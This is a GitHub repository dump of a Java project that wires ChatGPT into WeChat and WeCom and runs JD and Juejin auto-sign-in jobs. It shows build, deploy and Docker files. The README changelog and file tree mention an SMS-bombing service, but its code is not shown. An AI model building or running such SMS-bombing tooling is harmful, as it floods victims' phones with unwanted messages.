├── .gitignore ├── Dockerfile ├── LICENSE ├── README.md ├── deploy.sh ├── docker-compose.yml ├── mvnw ├── mvnw.cmd ├── pom.xml ├── src ├── main │ ├── java │ │ └── com │ │ │ └── longbig │ │ │ └── multifunction │ │ │ ├── MultiFunctionApplication.java │ │ │ ├── api │ │ │ ├── ChatGPTController.java │ │ │ ├── HealthService.java │ │ │ ├── JdService.java │ │ │ ├── SMSBombingService.java │ │ │ └── YangService.java │ │ │ ├── config │ │ │ ├── BaseConfig.java │ │ │ ├── BaseConstant.java │ │ │ └── SwaggerConfig.java │ │ │ ├── dto │ │ │ └── WechatXmlDTO.java │ │ │ ├── job │ │ │ ├── JDBeanJob.java │ │ │ └── JuejinJob.java │ │ │ ├── model │ │ │ ├── chatgpt │ │ │ │ └── GptMessageDto.java │ │ │ └── wechat │ │ │ │ ├── aes │ │ │ │ ├── AesException.java │ │ │ │ ├── ByteGroup.java │ │ │ │ ├── PKCS7Encoder.java │ │ │ │ ├── SHA1.java │ │ │ │ ├── WXBizMsgCrypt.java │ │ │ │ └── XMLParse.java │ │ │ │ └── kf │ │ │ │ ├── KefuDataDTO.java │ │ │ │ ├── KefuDataMsgDTO.java │ │ │ │ ├── KefuHandleDTO.java │ │ │ │ ├── KefuNoticeDTO.java │ │ │ │ ├── KefuSendTextDTO.java │ │ │ │ ├── KefuTextDTO.java │ │ │ │ └── TextContentDTO.java │ │ │ ├── service │ │ │ ├── ChatGptService.java │ │ │ └── WeChatService.java │ │ │ └── utils │ │ │ ├── CacheHelper.java │ │ │ ├── FileUtils.java │ │ │ ├── JsonHelper.java │ │ │ ├── OkHttpUtils.java │ │ │ ├── ResourceUtils.java │ │ │ └── XmlHelper.java │ └── resources │ │ ├── application.properties │ │ ├── banner.txt │ │ ├── jd_cookie.txt │ │ └── log4j2.xml └── test │ └── java │ └── com │ └── longbig │ └── multifunction │ └── MultiFunctionApplicationTests.java └── 微信公众号.png /.gitignore: -------------------------------------------------------------------------------- 1 | HELP.md 2 | target/ 3 | !.mvn/wrapper/maven-wrapper.jar 4 | !**/src/main/**/target/ 5 | !**/src/test/**/target/ 6 | 7 | ### STS ### 8 | .apt_generated 9 | .classpath 10 | .factorypath 11 | .project 12 | .settings 13 | .springBeans 14 | .sts4-cache 15 | 16 | ### IntelliJ IDEA ### 17 | .idea 18 | *.iws 19 | *.iml 20 | *.ipr 21 | 22 | ### NetBeans ### 23 | /nbproject/private/ 24 | /nbbuild/ 25 | /dist/ 26 | /nbdist/ 27 | /.nb-gradle/ 28 | build/ 29 | !**/src/main/**/build/ 30 | !**/src/test/**/build/ 31 | 32 | ### VS Code ### 33 | .vscode/ 34 | /.idea/ 35 | /.idea/ 36 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | #使用jdk8作为基础镜像 2 | FROM openjdk:8 3 | #指定作者 4 | MAINTAINER longbig 5 | #暴漏容器的8080端口 6 | EXPOSE 8080 7 | #将复制指定的docker-demo-0.0.1-SNAPSHOT.jar为容器中的job.jar,相当于拷贝到容器中取了个别名 8 | ADD ./target/application.jar /application.jar 9 | #创建一个新的容器并在新的容器中运行命令 10 | #RUN bash -c 'touch /application.jar' 11 | #设置时区 12 | #ENV TZ=PRC 13 | #RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone 14 | #相当于在容器中用cmd命令执行jar包 指定外部配置文件 15 | ENTRYPOINT ["java","-jar","/application.jar"] 16 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # multi_function_github 2 | 运行环境:Java8,maven 3 | 4 | - ChatGPT接入企业微信成为聊天机器人 5 | - 微信客服接入ChatGPT 6 | - 有脚本运行问题可公众号内询问 7 | 8 | ![公众号二维码](https://raw.githubusercontent.com/longbig/multi_function_github/main/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7.png) 9 | 10 | ## 脚本使用 11 | ### 微信客服接入ChatGPT,外部群可用 12 | - 可在企业微信外部群使用,非企业人员也能用,只支持私聊 13 | - 使用教程:[【奶奶看了也不会】微信群聊(微信客服)接入ChatGPT教程](https://longbig.github.io/2023/06/05/%E5%BE%AE%E4%BF%A1%E5%AE%A2%E6%9C%8D%E6%8E%A5%E5%85%A5ChatGPT%E6%95%99%E7%A8%8B-%E5%A4%96%E9%83%A8%E7%BE%A4%E8%81%8A%E5%8F%AF%E7%94%A8/) 14 | 15 | 16 | ### ChatGPT 3.5 / 4接入企业微信 17 | - 修改application.properties文件的chatgpt开头 和wechat开头的配置,配置内容看注释 18 | - 默认访问超时时间是30s,如需修改,可自行修改`OkHttpUtils`中`DEFAULT_TIME_OUT`的值 19 | - 使用教程:[ChatGPT3.5接入企业微信且支持连续对话](https://longbig.github.io/2023/03/05/ChatGPT3-5%E6%8E%A5%E5%85%A5%E4%BC%81%E4%B8%9A%E5%BE%AE%E4%BF%A1%E4%B8%94%E6%94%AF%E6%8C%81%E8%BF%9E%E7%BB%AD%E5%AF%B9%E8%AF%9D/) 20 | - 发送`开始连续对话`进入连续对话模式,注意连续对话模式下,chatGPT账号额度消耗是累加(每次发消息,会累加这次和过去所有对话的额度消耗) 21 | - 发送`结束连续对话`关闭连续对话模式 22 | - 发送`开始GPT4`使用GPT4模型,发送`结束GPT4`关闭GPT4模型 23 | 24 | - 可修改application.properties文件里的`chatgpt.flow.num`配置,自行修改最大对话次数(不建议太大,官方限制的消息最大长度是4096 token,大概20次对话之后就会超了) 25 | 26 | ### 其他脚本使用 27 | - 京东脚本:多个账号使用时,修改resources目录下的jd_cookie.txt文件,每行为pt_key,pt_pin的格式 28 | - 掘金脚本:修改application.properties文件的juejin.Cookie为你的掘金cookie 29 | 30 | - 运行MultiFunctionApplication类下的main函数启动项目 31 | - 项目启动后,浏览器打开http://localhost:8080/doc.html#/default/jd-service/getJDUsingGET 可调试签到任务,入参和任务关系为: 32 | - 1 : 京东每日签到任务 33 | - 2 : 摇京豆签到 34 | - 3 : 抽京豆 35 | - 4 : plus会员签到 36 | - 5 : 掘金每日签到 37 | - 6 : 掘金每日抽奖 38 | 39 | 40 | ### Docker打包方式 41 | - 在自己电脑或者服务器上建个jd_cookie.txt文件,里面放多个账号的cookie值,格式为pt_key,pt_pin 42 | - 修改docker-compose.yml文件下的volumes变量值,替换为上一步txt文件的绝对路径,Mac电脑示例:/home/admin/opt:/opt 43 | - 运行`maven package`将代码构建为jar文件 44 | - 运行`docker build -t jdou:v1.1 ./`将jar包构建为docker镜像,名称为jdou:v1.1,放在当前路径下 45 | - 运行`docker-compose up`运行上一步构建的镜像即可 46 | 47 | ## 更新 48 | - 2023.06.04 增加,微信客服对接ChatGPT的功能,支持企业外部微信群使用 49 | - 2023.05.06 更新,加上GPT4模型对话,修复ChatGPT消息长度过长,被微信截断的bug 50 | - 2023.03.05 更新,使用GPT3.5接入企业微信,且新增连续对话功能 51 | - 2023.02.27 修复ChatGPT接入企业微信未设置超时时间的bug 52 | - 2023.02.22 修复ChatGPT接入企业微信agentId的bug 53 | - 2023.02.18 增加ChatGPT接入企业微信,成为聊天机器人代码 54 | - 2022.10.15 增加短信轰炸示例代码 55 | - 2022.09.18 增加`羊了个羊`微信小程序通关调用 56 | - 2022.09.10 修改任务脚本,支持多个账号的签到 57 | - 2022.09.04 增加掘金自动签到任务和抽奖任务 58 | - 2022.05.15 增加Dockerfile、docker-compose文件,用于docker构建镜像和运行镜像 59 | - 2022.05.01 新增自动签到定时任务:摇京豆签到、抽京豆任务、plus会员签到。接口文档可视化界面 60 | - 2022.04.27 新增服务探活接口和部署脚本deploy.sh,可用于阿里云云效自动化部署 具体部署步骤见博客:[2分钟教你部署2048小游戏到云服务器](https://blog.csdn.net/qq_36624086/article/details/123777993) -------------------------------------------------------------------------------- /deploy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 修改APP_NAME为云效上的应用名 4 | APP_NAME=application 5 | 6 | 7 | PROG_NAME=$0 8 | ACTION=$1 9 | APP_START_TIMEOUT=20 # 等待应用启动的时间 10 | APP_PORT=8080 # 应用端口 11 | HEALTH_CHECK_URL=http://127.0.0.1:${APP_PORT}/checkHealth # 应用健康检查URL 12 | APP_HOME=/home/admin/${APP_NAME} # 从package.tgz中解压出来的jar包放到这个目录下 13 | JAR_NAME=${APP_HOME}/target/${APP_NAME}.jar # jar包的名字 14 | JAVA_OUT=${APP_HOME}/logs/start.log #应用的启动日志 15 | 16 | # 创建出相关目录 17 | mkdir -p ${APP_HOME} 18 | mkdir -p ${APP_HOME}/logs 19 | usage() { 20 | echo "Usage: $PROG_NAME {start|stop|restart}" 21 | exit 2 22 | } 23 | 24 | health_check() { 25 | exptime=0 26 | echo "checking ${HEALTH_CHECK_URL}" 27 | while true 28 | do 29 | status_code=`/usr/bin/curl -L -o /dev/null --connect-timeout 5 -s -w %{http_code} ${HEALTH_CHECK_URL}` 30 | if [ "$?" != "0" ]; then 31 | echo -n -e "\rapplication not started" 32 | else 33 | echo "code is $status_code" 34 | if [ "$status_code" == "200" ];then 35 | break 36 | fi 37 | fi 38 | sleep 1 39 | ((exptime++)) 40 | 41 | echo -e "\rWait app to pass health check: $exptime..." 42 | 43 | if [ $exptime -gt ${APP_START_TIMEOUT} ]; then 44 | echo 'app start failed' 45 | exit 1 46 | fi 47 | done 48 | echo "check ${HEALTH_CHECK_URL} success" 49 | } 50 | start_application() { 51 | echo "starting java process" 52 | nohup java -jar ${JAR_NAME} > ${JAVA_OUT} 2>&1 & 53 | echo "started java process" 54 | } 55 | 56 | stop_application() { 57 | checkjavapid=`ps -ef | grep java | grep ${APP_NAME} | grep -v grep |grep -v 'deploy.sh'| awk '{print$2}'` 58 | 59 | if [[ ! $checkjavapid ]];then 60 | echo -e "\rno java process" 61 | return 62 | fi 63 | 64 | echo "stop java process" 65 | times=60 66 | for e in $(seq 60) 67 | do 68 | sleep 1 69 | COSTTIME=$(($times - $e )) 70 | checkjavapid=`ps -ef | grep java | grep ${APP_NAME} | grep -v grep |grep -v 'deploy.sh'| awk '{print$2}'` 71 | if [[ $checkjavapid ]];then 72 | kill -9 $checkjavapid 73 | echo -e "\r -- stopping java lasts `expr $COSTTIME` seconds." 74 | else 75 | echo -e "\rjava process has exited" 76 | break; 77 | fi 78 | done 79 | echo "" 80 | } 81 | start() { 82 | start_application 83 | health_check 84 | } 85 | stop() { 86 | stop_application 87 | } 88 | case "$ACTION" in 89 | start) 90 | start 91 | ;; 92 | stop) 93 | stop 94 | ;; 95 | restart) 96 | stop 97 | start 98 | ;; 99 | *) 100 | usage 101 | ;; 102 | esac -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | jdou: 4 | image: jdou:v1.1 5 | container_name: jdou 6 | ports: 7 | - 8080:8080 8 | environment: 9 | START_FROM_DOCKER: 1 10 | FILE_PATH: /opt/jd_cookie.txt 11 | volumes: 12 | - /Users/longbig/opt:/opt #替换格式说明,宿主机文件目录:docker内路径 映射关系 13 | 14 | # PT_PIN: '你的pt_pin' 15 | # PT_KEY: '你的pt_key' 16 | -------------------------------------------------------------------------------- /mvnw: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # ---------------------------------------------------------------------------- 3 | # Licensed to the Apache Software Foundation (ASF) under one 4 | # or more contributor license agreements. See the NOTICE file 5 | # distributed with this work for additional information 6 | # regarding copyright ownership. The ASF licenses this file 7 | # to you under the Apache License, Version 2.0 (the 8 | # "License"); you may not use this file except in compliance 9 | # with the License. You may obtain a copy of the License at 10 | # 11 | # https://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, 14 | # software distributed under the License is distributed on an 15 | # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 16 | # KIND, either express or implied. See the License for the 17 | # specific language governing permissions and limitations 18 | # under the License. 19 | # ---------------------------------------------------------------------------- 20 | 21 | # ---------------------------------------------------------------------------- 22 | # Maven Start Up Batch script 23 | # 24 | # Required ENV vars: 25 | # ------------------ 26 | # JAVA_HOME - location of a JDK home dir 27 | # 28 | # Optional ENV vars 29 | # ----------------- 30 | # M2_HOME - location of maven2's installed home dir 31 | # MAVEN_OPTS - parameters passed to the Java VM when running Maven 32 | # e.g. to debug Maven itself, use 33 | # set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 34 | # MAVEN_SKIP_RC - flag to disable loading of mavenrc files 35 | # ---------------------------------------------------------------------------- 36 | 37 | if [ -z "$MAVEN_SKIP_RC" ] ; then 38 | 39 | if [ -f /etc/mavenrc ] ; then 40 | . /etc/mavenrc 41 | fi 42 | 43 | if [ -f "$HOME/.mavenrc" ] ; then 44 | . "$HOME/.mavenrc" 45 | fi 46 | 47 | fi 48 | 49 | # OS specific support. $var _must_ be set to either true or false. 50 | cygwin=false; 51 | darwin=false; 52 | mingw=false 53 | case "`uname`" in 54 | CYGWIN*) cygwin=true ;; 55 | MINGW*) mingw=true;; 56 | Darwin*) darwin=true 57 | # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home 58 | # See https://developer.apple.com/library/mac/qa/qa1170/_index.html 59 | if [ -z "$JAVA_HOME" ]; then 60 | if [ -x "/usr/libexec/java_home" ]; then 61 | export JAVA_HOME="`/usr/libexec/java_home`" 62 | else 63 | export JAVA_HOME="/Library/Java/Home" 64 | fi 65 | fi 66 | ;; 67 | esac 68 | 69 | if [ -z "$JAVA_HOME" ] ; then 70 | if [ -r /etc/gentoo-release ] ; then 71 | JAVA_HOME=`java-config --jre-home` 72 | fi 73 | fi 74 | 75 | if [ -z "$M2_HOME" ] ; then 76 | ## resolve links - $0 may be a link to maven's home 77 | PRG="$0" 78 | 79 | # need this for relative symlinks 80 | while [ -h "$PRG" ] ; do 81 | ls=`ls -ld "$PRG"` 82 | link=`expr "$ls" : '.*-> \(.*\)$'` 83 | if expr "$link" : '/.*' > /dev/null; then 84 | PRG="$link" 85 | else 86 | PRG="`dirname "$PRG"`/$link" 87 | fi 88 | done 89 | 90 | saveddir=`pwd` 91 | 92 | M2_HOME=`dirname "$PRG"`/.. 93 | 94 | # make it fully qualified 95 | M2_HOME=`cd "$M2_HOME" && pwd` 96 | 97 | cd "$saveddir" 98 | # echo Using m2 at $M2_HOME 99 | fi 100 | 101 | # For Cygwin, ensure paths are in UNIX format before anything is touched 102 | if $cygwin ; then 103 | [ -n "$M2_HOME" ] && 104 | M2_HOME=`cygpath --unix "$M2_HOME"` 105 | [ -n "$JAVA_HOME" ] && 106 | JAVA_HOME=`cygpath --unix "$JAVA_HOME"` 107 | [ -n "$CLASSPATH" ] && 108 | CLASSPATH=`cygpath --path --unix "$CLASSPATH"` 109 | fi 110 | 111 | # For Mingw, ensure paths are in UNIX format before anything is touched 112 | if $mingw ; then 113 | [ -n "$M2_HOME" ] && 114 | M2_HOME="`(cd "$M2_HOME"; pwd)`" 115 | [ -n "$JAVA_HOME" ] && 116 | JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" 117 | fi 118 | 119 | if [ -z "$JAVA_HOME" ]; then 120 | javaExecutable="`which javac`" 121 | if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then 122 | # readlink(1) is not available as standard on Solaris 10. 123 | readLink=`which readlink` 124 | if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then 125 | if $darwin ; then 126 | javaHome="`dirname \"$javaExecutable\"`" 127 | javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" 128 | else 129 | javaExecutable="`readlink -f \"$javaExecutable\"`" 130 | fi 131 | javaHome="`dirname \"$javaExecutable\"`" 132 | javaHome=`expr "$javaHome" : '\(.*\)/bin'` 133 | JAVA_HOME="$javaHome" 134 | export JAVA_HOME 135 | fi 136 | fi 137 | fi 138 | 139 | if [ -z "$JAVACMD" ] ; then 140 | if [ -n "$JAVA_HOME" ] ; then 141 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 142 | # IBM's JDK on AIX uses strange locations for the executables 143 | JAVACMD="$JAVA_HOME/jre/sh/java" 144 | else 145 | JAVACMD="$JAVA_HOME/bin/java" 146 | fi 147 | else 148 | JAVACMD="`which java`" 149 | fi 150 | fi 151 | 152 | if [ ! -x "$JAVACMD" ] ; then 153 | echo "Error: JAVA_HOME is not defined correctly." >&2 154 | echo " We cannot execute $JAVACMD" >&2 155 | exit 1 156 | fi 157 | 158 | if [ -z "$JAVA_HOME" ] ; then 159 | echo "Warning: JAVA_HOME environment variable is not set." 160 | fi 161 | 162 | CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher 163 | 164 | # traverses directory structure from process work directory to filesystem root 165 | # first directory with .mvn subdirectory is considered project base directory 166 | find_maven_basedir() { 167 | 168 | if [ -z "$1" ] 169 | then 170 | echo "Path not specified to find_maven_basedir" 171 | return 1 172 | fi 173 | 174 | basedir="$1" 175 | wdir="$1" 176 | while [ "$wdir" != '/' ] ; do 177 | if [ -d "$wdir"/.mvn ] ; then 178 | basedir=$wdir 179 | break 180 | fi 181 | # workaround for JBEAP-8937 (on Solaris 10/Sparc) 182 | if [ -d "${wdir}" ]; then 183 | wdir=`cd "$wdir/.."; pwd` 184 | fi 185 | # end of workaround 186 | done 187 | echo "${basedir}" 188 | } 189 | 190 | # concatenates all lines of a file 191 | concat_lines() { 192 | if [ -f "$1" ]; then 193 | echo "$(tr -s '\n' ' ' < "$1")" 194 | fi 195 | } 196 | 197 | BASE_DIR=`find_maven_basedir "$(pwd)"` 198 | if [ -z "$BASE_DIR" ]; then 199 | exit 1; 200 | fi 201 | 202 | ########################################################################################## 203 | # Extension to allow automatically downloading the maven-wrapper.jar from Maven-central 204 | # This allows using the maven wrapper in projects that prohibit checking in binary data. 205 | ########################################################################################## 206 | if [ -r "$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" ]; then 207 | if [ "$MVNW_VERBOSE" = true ]; then 208 | echo "Found .mvn/wrapper/maven-wrapper.jar" 209 | fi 210 | else 211 | if [ "$MVNW_VERBOSE" = true ]; then 212 | echo "Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ..." 213 | fi 214 | if [ -n "$MVNW_REPOURL" ]; then 215 | jarUrl="$MVNW_REPOURL/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" 216 | else 217 | jarUrl="https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar" 218 | fi 219 | while IFS="=" read key value; do 220 | case "$key" in (wrapperUrl) jarUrl="$value"; break ;; 221 | esac 222 | done < "$BASE_DIR/.mvn/wrapper/maven-wrapper.properties" 223 | if [ "$MVNW_VERBOSE" = true ]; then 224 | echo "Downloading from: $jarUrl" 225 | fi 226 | wrapperJarPath="$BASE_DIR/.mvn/wrapper/maven-wrapper.jar" 227 | if $cygwin; then 228 | wrapperJarPath=`cygpath --path --windows "$wrapperJarPath"` 229 | fi 230 | 231 | if command -v wget > /dev/null; then 232 | if [ "$MVNW_VERBOSE" = true ]; then 233 | echo "Found wget ... using wget" 234 | fi 235 | if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then 236 | wget "$jarUrl" -O "$wrapperJarPath" 237 | else 238 | wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD "$jarUrl" -O "$wrapperJarPath" 239 | fi 240 | elif command -v curl > /dev/null; then 241 | if [ "$MVNW_VERBOSE" = true ]; then 242 | echo "Found curl ... using curl" 243 | fi 244 | if [ -z "$MVNW_USERNAME" ] || [ -z "$MVNW_PASSWORD" ]; then 245 | curl -o "$wrapperJarPath" "$jarUrl" -f 246 | else 247 | curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f 248 | fi 249 | 250 | else 251 | if [ "$MVNW_VERBOSE" = true ]; then 252 | echo "Falling back to using Java to download" 253 | fi 254 | javaClass="$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java" 255 | # For Cygwin, switch paths to Windows format before running javac 256 | if $cygwin; then 257 | javaClass=`cygpath --path --windows "$javaClass"` 258 | fi 259 | if [ -e "$javaClass" ]; then 260 | if [ ! -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then 261 | if [ "$MVNW_VERBOSE" = true ]; then 262 | echo " - Compiling MavenWrapperDownloader.java ..." 263 | fi 264 | # Compiling the Java class 265 | ("$JAVA_HOME/bin/javac" "$javaClass") 266 | fi 267 | if [ -e "$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class" ]; then 268 | # Running the downloader 269 | if [ "$MVNW_VERBOSE" = true ]; then 270 | echo " - Running MavenWrapperDownloader.java ..." 271 | fi 272 | ("$JAVA_HOME/bin/java" -cp .mvn/wrapper MavenWrapperDownloader "$MAVEN_PROJECTBASEDIR") 273 | fi 274 | fi 275 | fi 276 | fi 277 | ########################################################################################## 278 | # End of extension 279 | ########################################################################################## 280 | 281 | export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} 282 | if [ "$MVNW_VERBOSE" = true ]; then 283 | echo $MAVEN_PROJECTBASEDIR 284 | fi 285 | MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" 286 | 287 | # For Cygwin, switch paths to Windows format before running java 288 | if $cygwin; then 289 | [ -n "$M2_HOME" ] && 290 | M2_HOME=`cygpath --path --windows "$M2_HOME"` 291 | [ -n "$JAVA_HOME" ] && 292 | JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` 293 | [ -n "$CLASSPATH" ] && 294 | 